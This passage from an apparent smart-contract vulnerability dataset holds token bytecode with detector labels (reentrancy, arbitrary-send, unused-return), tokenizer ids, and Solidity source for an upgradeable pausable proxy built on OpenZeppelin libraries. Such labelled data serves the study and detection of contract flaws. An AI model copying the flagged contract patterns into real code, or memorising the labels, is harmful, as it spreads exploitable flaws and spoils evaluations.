} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102dd578063b515566a146102fd578063c3c8cd801461031d578063c9567bf914610332578063dd62ed3e1461034757600080fd5b806370a082311461024f578063715018a61461026f5780638da5cb5b1461028457806395d89b41146102ac57600080fd5b80632634e5e8116100d15780632634e5e8146101dc578063313ce567146101fe5780635932ead11461021a5780636fc3eaec1461023a57600080fd5b806306fdde031461010e578063095ea7b31461016657806318160ddd1461019657806323b872dd146101bc57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601881527f4974616368696e75207c20742e6d652f4974616368696e75000000000000000060208201525b60405161015d9190611968565b60405180910390f35b34801561017257600080fd5b506101866101813660046117ef565b61038d565b604051901515815260200161015d565b3480156101a257600080fd5b5068056bc75e2d631000005b60405190815260200161015d565b3480156101c857600080fd5b506101866101d73660046117ae565b6103a4565b3480156101e857600080fd5b506101fc6101f7366004611921565b61040d565b005b34801561020a57600080fd5b506040516009815260200161015d565b34801561022657600080fd5b506101fc6102353660046118e7565b6104dd565b34801561024657600080fd5b506101fc610525565b34801561025b57600080fd5b506101ae61026a36600461173b565b610552565b34801561027b57600080fd5b506101fc610574565b34801561029057600080fd5b506000546040516001600160a01b03909116815260200161015d565b3480156102b857600080fd5b506040805180820190915260088152674974616368696e7560c01b6020820152610150565b3480156102e957600080fd5b506101866102f83660046117ef565b6105e8565b34801561030957600080fd5b506101fc61031836600461181b565b6105f5565b34801561032957600080fd5b506101fc61068b565b34801561033e57600080fd5b506101fc6106c1565b34801561035357600080fd5b506101ae610362366004611775565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061039a338484610a84565b5060015b92915050565b60006103b1848484610ba8565b61040384336103fe85604051806060016040528060288152602001611b54602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fba565b610a84565b5060019392505050565b600d546001600160a01b0316336001600160a01b03161461042d57600080fd5b600081116104825760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064015b60405180910390fd5b6104a2620186a061049c68056bc75e2d6310000084610ff4565b9061107a565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146105075760405162461bcd60e51b8152600401610479906119bd565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461054557600080fd5b4761054f816110bc565b50565b6001600160a01b03811660009081526002602052604081205461039e90611141565b6000546001600160a01b0316331461059e5760405162461bcd60e51b8152600401610479906119bd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061039a338484610ba8565b6000546001600160a01b0316331461061f5760405162461bcd60e51b8152600401610479906119bd565b60005b8151811015610687576001600b600084848151811061064357610643611b04565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067f81611ad3565b915050610622565b5050565b600d546001600160a01b0316336001600160a01b0316146106ab57600080fd5b60006106b630610552565b905061054f816111be565b6000546001600160a01b031633146106eb5760405162461bcd60e51b8152600401610479906119bd565b601054600160a01b900460ff16156107455760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610479565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610782308268056bc75e2d63100000610a84565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107bb57600080fd5b505afa1580156107cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f39190611758565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561083b57600080fd5b505afa15801561084f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108739190611758565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108bb57600080fd5b505af11580156108cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f39190611758565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061092381610552565b6000806109386000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561099b57600080fd5b505af11580156109af573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109d4919061193a565b505060108054678ac7230489e8000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a4c57600080fd5b505af1158015610a60573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106879190611904565b6001600160a01b038316610ae65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b038216610b475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c0c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b038216610c6e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b60008111610cd05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610479565b6000546001600160a01b03848116911614801590610cfc57506000546001600160a01b03838116911614155b15610f5d57601054600160b81b900460ff1615610de3576001600160a01b0383163014801590610d3557506001600160a01b0382163014155b8015610d4f5750600f546001600160a01b03848116911614155b8015610d695750600f546001600160a01b03838116911614155b15610de357600f546001600160a01b0316336001600160a01b03161480610da357506010546001600160a01b0316336001600160a01b0316145b610de35760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610479565b601154811115610df257600080fd5b6001600160a01b0383166000908152600b602052604090205460ff16158015610e3457506001600160a01b0382166000908152600b602052604090205460ff16155b610e3d57600080fd5b6010546001600160a01b038481169116148015610e685750600f546001600160a01b03838116911614155b8015610e8d57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ea25750601054600160b81b900460ff165b15610ef0576001600160a01b0382166000908152600c60205260409020544211610ecb57600080fd5b610ed6426078611a63565b6001600160a01b0383166000908152600c60205260409020555b6000610efb30610552565b601054909150600160a81b900460ff16158015610f2657506010546001600160a01b03858116911614155b8015610f3b5750601054600160b01b900460ff165b15610f5b57610f49816111be565b478015610f5957610f59476110bc565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f9f57506001600160a01b03831660009081526005602052604090205460ff165b15610fa8575060005b610fb484848484611347565b50505050565b60008184841115610fde5760405162461bcd60e51b81526004016104799190611968565b506000610feb8486611abc565b95945050505050565b6000826110035750600061039e565b600061100f8385611a9d565b90508261101c8583611a7b565b146110735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610479565b9392505050565b600061107383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611373565b600d546001600160a01b03166108fc6110d683600261107a565b6040518115909202916000818181858888f193505050501580156110fe573d6000803e3d6000fd5b50600e546001600160a01b03166108fc61111983600261107a565b6040518115909202916000818181858888f19350505050158015610687573d6000803e3d6000fd5b60006007548211156111a85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610479565b60006111b26113a1565b9050611073838261107a565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061120657611206611b04565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561125a57600080fd5b505afa15801561126e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112929190611758565b816001815181106112a5576112a5611b04565b6001600160a01b039283166020918202929092010152600f546112cb9130911684610a84565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113049085906000908690309042906004016119f2565b600060405180830381600087803b15801561131e57600080fd5b505af1158015611332573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b80611354576113546113c4565b61135f8484846113e7565b80610fb457610fb460036009556002600a55565b600081836113945760405162461bcd60e51b81526004016104799190611968565b506000610feb8486611a7b565b60008060006113ae6114de565b90925090506113bd828261107a565b9250505090565b6009541580156113d45750600a54155b156113db57565b60006009819055600a55565b6000806000806000806113f987611520565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061142b908761157d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461145a90866115bf565b6001600160a01b03891660009081526002602052604090205561147c8161161e565b6114868483611668565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114cb91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d631000006114fa828261107a565b8210156115175750506007549268056bc75e2d6310000092509050565b90939092509050565b600080600080600080600080600061153d8a600954600a5461168c565b925092509250600061154d6113a1565b905060008060006115608e8787876116db565b919e509c509a509598509396509194505050505091939550919395565b600061107383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fba565b6000806115cc8385611a63565b9050838110156110735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610479565b60006116286113a1565b905060006116368383610ff4565b3060009081526002602052604090205490915061165390826115bf565b30600090815260026020526040902055505050565b600754611675908361157d565b60075560085461168590826115bf565b6008555050565b60008080806116a0606461049c8989610ff4565b905060006116b3606461049c8a89610ff4565b905060006116cb826116c58b8661157d565b9061157d565b9992985090965090945050505050565b60008080806116ea8886610ff4565b905060006116f88887610ff4565b905060006117068888610ff4565b90506000611718826116c5868661157d565b939b939a50919850919650505050505050565b803561173681611b30565b919050565b60006020828403121561174d57600080fd5b813561107381611b30565b60006020828403121561176a57600080fd5b815161107381611b30565b6000806040838503121561178857600080fd5b823561179381611b30565b915060208301356117a381611b30565b809150509250929050565b6000806000606084860312156117c357600080fd5b83356117ce81611b30565b925060208401356117de81611b30565b929592945050506040919091013590565b6000806040838503121561180257600080fd5b823561180d81611b30565b946020939093013593505050565b6000602080838503121561182e57600080fd5b823567ffffffffffffffff8082111561184657600080fd5b818501915085601f83011261185a57600080fd5b81358181111561186c5761186c611b1a565b8060051b604051601f19603f8301168101818110858211171561189157611891611b1a565b604052828152858101935084860182860187018a10156118b057600080fd5b600095505b838610156118da576118c68161172b565b8552600195909501949386019386016118b5565b5098975050505050505050565b6000602082840312156118f957600080fd5b813561107381611b45565b60006020828403121561191657600080fd5b815161107381611b45565b60006020828403121561193357600080fd5b5035919050565b60008060006060848603121561194f57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561199557858101830151858201604001528201611979565b818111156119a7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a425784516001600160a01b031683529383019391830191600101611a1d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a7657611a76611aee565b500190565b600082611a9857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ab757611ab7611aee565b500290565b600082821015611ace57611ace611aee565b500390565b6000600019821415611ae757611ae7611aee565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461054f57600080fd5b801515811461054f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201f412355c51c278ea5510ab0d1d6448340afd3a5459c927a71c13ba5483d69e064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2063,
2683,
2050,
2581,
2620,
16932,
19841,
2475,
2094,
2581,
2050,
23499,
2094,
2509,
3676,
2278,
2692,
2546,
2509,
8586,
2575,
2546,
2629,
15878,
2063,
2683,
2475,
2050,
21926,
2063,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1021,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,459 | 0x952eE5f16d6cd90e86E73925201b93D44149E18b | // SPDX-License-Identifier: MIT
// ______ ______ _____
// /\__ _\ /\ == \ /\ __-.
// \/_/\ \/ \ \ __< \ \ \/\ \
// \ \_\ \ \_____\ \ \____-
// \/_/ \/_____/ \/____/
//
pragma solidity 0.8.6;
import '@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol';
/// @title PausableProxy
/// @author Iulian Rotaru
/// @notice Extension of the TransparentUpgradeableProxy that adds pause functionalities
contract PausableProxy is TransparentUpgradeableProxy {
//
// _ _
// ___ ___ _ __ ___| |_ __ _ _ __ | |_ ___
// / __/ _ \| '_ \/ __| __/ _` | '_ \| __/ __|
// | (_| (_) | | | \__ \ || (_| | | | | |_\__ \
// \___\___/|_| |_|___/\__\__,_|_| |_|\__|___/
//
bytes32 internal constant _PAUSED_SLOT = 0x8dea8703c3cf94703383ce38a9c894669dccd4ca8e65ddb43267aa0248711450;
//
// _ _ _
// (_)_ __ | |_ ___ _ __ _ __ __ _| |___
// | | '_ \| __/ _ \ '__| '_ \ / _` | / __|
// | | | | | || __/ | | | | | (_| | \__ \
// |_|_| |_|\__\___|_| |_| |_|\__,_|_|___/
//
function _beforeFallback() internal virtual override {
// remove the check that prevents admins from using the fallback
}
//
// _ _
// _____ _| |_ ___ _ __ _ __ __ _| |___
// / _ \ \/ / __/ _ \ '__| '_ \ / _` | / __|
// | __/> <| || __/ | | | | | (_| | \__ \
// \___/_/\_\\__\___|_| |_| |_|\__,_|_|___/
//
constructor(
address _logic,
address _admin,
bytes memory _data
) payable TransparentUpgradeableProxy(_logic, _admin, _data) {}
/// @dev Retrieves Paused state
/// @return Paused state
function isPaused() external view returns (bool) {
return StorageSlot.getBooleanSlot(_PAUSED_SLOT).value;
}
/// @dev Pauses system
function pause() external ifAdmin {
StorageSlot.getBooleanSlot(_PAUSED_SLOT).value = true;
}
/// @dev Unpauses system
function unpause() external ifAdmin {
StorageSlot.getBooleanSlot(_PAUSED_SLOT).value = false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967Proxy.sol";
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is ERC1967Proxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.
*/
constructor(
address _logic,
address admin_,
bytes memory _data
) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../Proxy.sol";
import "./ERC1967Upgrade.sol";
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*/
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../beacon/IBeacon.sol";
import "../../utils/Address.sol";
import "../../utils/StorageSlot.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
